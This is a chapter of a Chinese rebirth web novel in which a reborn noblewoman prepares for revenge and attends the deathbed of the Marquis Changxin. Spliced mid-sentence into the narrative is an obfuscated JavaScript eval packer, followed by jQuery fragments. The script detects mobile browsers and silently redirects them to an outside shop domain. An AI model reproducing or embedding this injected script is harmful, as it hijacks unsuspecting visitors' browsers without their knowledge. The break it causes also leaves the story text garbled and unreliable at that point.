杨明珠并未在上一世的回忆中沉浸太久,她好不容易得来重生的机会,不是让她浪费在这些痛苦的回忆之中的。
她有许多事要做,要找到放火的凶手,要为自己和晴山报仇,若是可以,她还想带着晴山离开京城,离开这些虚伪至极的亲人,去过属于自己的小日子。
晴山对于自家郡主的想法一无所知,她只是心疼杨明珠,明明她才是真正的国公府千金,却被人鸠占鹊巢七年之久,父母亲人、身份地位、名字生辰,这些都要与那个替代品分享,如今,就连夫君也要......
活了两辈子的杨明珠自然看出来晴山眼神里的担忧,她拉住晴山的手,少女手上的薄茧有些硌人,杨明珠却丝毫不嫌弃,那是晴山拿大刀磨出来的。
“无妨,不过是些身外之物。”杨明珠拍了拍晴山的手道:“能被人夺去的东西,算不得什么,她想要,那便拿去吧。”
这个她,自然就是杨芷柔。
看出来杨明珠是真的不在意,晴山才终于放下心来。
“郡主,”晴山吸了吸鼻子,郑重其事道:“不管如何,晴山会一直守着您的。”
杨明珠怔怔地看着晴山不说话。
晴山以为杨明珠不信,毕竟她跟了杨明珠不过三年,连忙伸出右手对天发誓:“我周晴山在此立誓,若有违此言,必将天——”
“说这些做什么,”回过神的杨明珠打断了晴山,“誓言可不是随便立的。”
晴山还想继续表明心迹,杨明珠却摆了摆手道:“我有些乏了,扶我去榻上歇息吧。”
杨明珠又怎会不懂晴山的心思,上一世她虽然从未说出这样贴心的话,但却为了救她而死,这样的情谊她又怎会怀疑。
晴山扶着杨明珠在靠窗的芙蓉榻上躺下,又细心地给她盖上薄毯。
“你也别在这里守着我了,”杨明珠轻声道:“回屋歇一会儿,待到晚膳时再来叫我。”
“没事的,郡主,”晴山拿了绣绷子过来,“我守着您,您好好睡吧。”
杨明珠却摇了摇头,她不好直说今晚也许睡不成了,只是催她:“听我的,回去睡一会儿。”
晴山听出来她声音里的命令,便也不再坚持,替杨明珠关好房门便回了房。
杨明珠这一觉睡得并不安生,只要她一闭上眼睛,眼前就会出现熊熊大火,而她则是被困在那场大火里,逃不开,也醒不来。
杨明珠挣扎着醒来的时候日暮已至。
她坐起身来,许是晴山吩咐过,院子里此刻空无一人,她从半开的雕花木窗向外看去,正好看到那株枝叶繁茂的金桂树。
金乌西沉,微风袭来,驱散一室燥热。
“郡主您醒啦!”晴山清脆的声音响起。
杨明珠偏转视线,就看到晴山提着食盒从廊下走来。她脸上挂着笑,露出两个可爱的小梨涡。
杨明珠也笑了起来。
幸好,这并不是一场梦。
“梅香姐姐跟我说厨房今日做了您爱吃的青虾辣羹,我便赶紧去分了一碗过来,原想着等郡主您醒来之后这辣羹也许已经冷了,没想到一回来隔着窗子就看到您了。”
晴山边说边走进房间,手上动作没停,把食盒里的羹汤拿出来在小桌上放好。
“哎呀,郡主您怎么了?怎么出了这么多汗?”晴山放好餐食走近杨明珠,见杨明珠的额发都被冷汗浸湿,嘴唇也透着一股子惨白,连忙上前查看她的状态。
闻言,杨明珠后知后觉地用手一抚额头,果然摸到一手粘腻。
“要不我去让管家请个大夫来给您看看?”晴山关切地问道。
杨明珠却摇了摇头,想到今晚即将发生的事,她觉得多一事不如少一事。
“无妨,只是做了个噩梦罢了。”杨明珠在晴山的搀扶下走到小桌边坐下,桌子上除了一碗热气腾腾的青虾辣羹外,还有几样小菜,颜色鲜亮,看起来令人食指大开。
上一世杨明珠被烧死前,已经三日未曾进食。
“传膳吧。”不等晴山询问,杨明珠便开口道。
她也确实饿了,不等侍女们拿来热帕净手,直接拿着汤匙开始用膳。
这青虾辣羹用的是今日码头刚送来的虾,新鲜的虾煮出来的羹汤鲜甜可口,吃得杨明珠胃口大开。
晴山见杨明珠胃口不错,便放心地去唤梅香。
清风院有自己的小厨房,杨明珠一声令下,梅香便领着几个侍女端着今日的晚膳鱼贯而入。
小厨房做的饭菜都是按照杨明珠平日里的口味来的,很快,桌子上便摆满了菜肴。
杨明珠吃饭的时候不喜欢侍女在旁服侍,因此那些小丫头们上完菜便退出去了,只剩晴山和梅香伴她左右。
晴山将那碗青虾辣羹喝完后,终于恢复了一些力气。她招呼晴山和梅香坐下一起吃,两人都是杨明珠从国公府带来的侍女,以往在国公府也不是没一起坐下吃过,只是今日晴山和梅香都有些犹豫。
“郡主,”梅香秀眉紧蹙,语气犹豫:“真的不请姑爷过来一起用膳吗?”
杨明珠摇了摇头,她一手拉着梅香,一手拉着晴山,让二人在她左右坐下,又把筷子塞到二人手中,这才幽幽道:“姑爷没空来清风院,你们就放心吃吧。”
毕竟,今晚有一场硬仗要打。
晚膳后杨明珠说要沐浴,晴山只当她是因为午睡出了一身汗才着急沐浴,倒也没觉得有什么不对。
梅香担心杨明珠今日晚膳用得多了些,立刻沐浴不好消化。
杨明珠却执意如此,她只好去叫热水。
按照上一世的记忆,今晚长信侯将会去世。只是上一世杨明珠得知这个消息的时候已经被萧渐鸿关进祠堂,并不清楚具体时辰。杨明珠只能尽快将要做的事做完,否则,等到消息传来,她便没时间了。
戌时一刻,主院来人了。
彼时,杨明珠正坐在榻上看书,只是那卷书被她拿在手中许久不曾翻页。
“少夫人,侯爷出事了!”前来传话的是侯府夫人吴氏身边的大丫鬟春桃,她是吴氏的心腹。
杨明珠装出一副惊讶又担忧的模样,立刻站起身来,语气焦急:“怎么回事?请太医了吗?”
“请了请了,大夫人让奴婢来请您过去呢,您快些随奴婢去吧!”春桃的脸上布满愁容,长信侯是侯府的一家之主,如今家主命悬一线,她自然忧心不已。
为了应对今晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222366|151226||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
即将发生的事,杨明珠沐浴后便已穿戴整齐,此刻倒是不必重新更衣,直接跟着春桃去往主院。
主院是长信侯的住所,长信侯萧昌茂曾是带兵打仗的将军,只是在十年前的战场上,他中了敌军的毒计,虽然在战场上捡回来一条命,却也落下了病根,从此缠绵病榻。
承德帝念其战功赫赫,特命太医院派了专门的太医入住侯府,专门为长信侯治病。
只是长信侯到底身子亏空,早在年初,太医便私底下跟吴氏和杨明珠说过,长信侯恐怕熬不过今年冬天。
杨明珠原以为太医的意思是长信侯只剩下一年的时间,没想到这才不过七月,长信侯便撑不过了。
为了方便太医,吴氏早已从主院搬到静雅堂,杨明珠到的时候,吴氏已经等在房门外。
“你怎么才来!”吴氏一见杨明珠立刻抓起她的手,话里话外藏不住的埋怨。
一旁的萧渐淑也是一脸气愤,她大声嚷嚷道:“从清风院到主院能有多远啊!”
杨明珠见吴氏和萧渐淑皆是一脸焦急,母女俩就连眼眶都是红的,知道她们是担心侯爷,便不想与她们起冲突,连连道歉,只道是夜深路暗,耽误了些。
杨明珠态度恭敬,进退得当,当着众人的面,吴氏也不好发作,只能暗自神伤。
杨明珠安慰了几句,开始暗自打量。
侯爷的卧室门前,一身黑衣的萧渐鸿焦急地立在前方。
不时便有端着热水的侍从屋内出来,杨明珠看了一眼,那水已经变了颜色,空气中弥漫着一股血腥味。
见萧渐鸿眉头紧锁,满面愧疚,杨明珠突然有了一个想法。
萧渐鸿回家前,侯爷的病情一直控制得不错,上个月太医还曾说照此情形,侯爷也许能熬过今年冬天。
按理说,萧渐鸿作为长信侯世子,此次带着军功得胜归来,也算是为侯府争光,侯爷后继有人,理应病情好转。
可今日萧渐鸿刚回府,侯爷一下子病重,很难不怀疑是萧渐鸿对侯爷说了什么,让侯爷受了刺激。
若是杨明珠猜得没错,应当是萧渐鸿跟侯爷说了要以此次军功求娶杨芷柔为平妻一事。
杨明珠心里冷哼一声,上一世的她实在是太蠢了,明明那么多人不同意萧渐鸿与杨芷柔的婚事,用不着她出手,是她自乱阵脚,一步一步地将自己逼入绝境。
重活一世,杨明珠必然不会重蹈覆辙。
不知道过去了多久,侯爷的房门终于打开,几位太医走了出来。
萧渐鸿和吴氏立刻迎了上去:“太医,侯爷他怎么样了?”
几个太医互相对视一眼,而后摇了摇头:“夫人,世子,我们尽力了,只是侯爷此次所受刺激太大,气急攻心,再加上他体内的毒素已经侵入心脉......”
“还请节哀!”
江东通往京城的官道上,一列车队缓缓前行。
马车看起来十分低调,车檐上悬挂着青绿色的灯笼,上面写着一个“裴”字。
正是江东裴氏的车队。
很快,一个小厮策马迎面而来,拦下了为首的马车。
“长公子,京中有变!”
“长信侯,薨了。”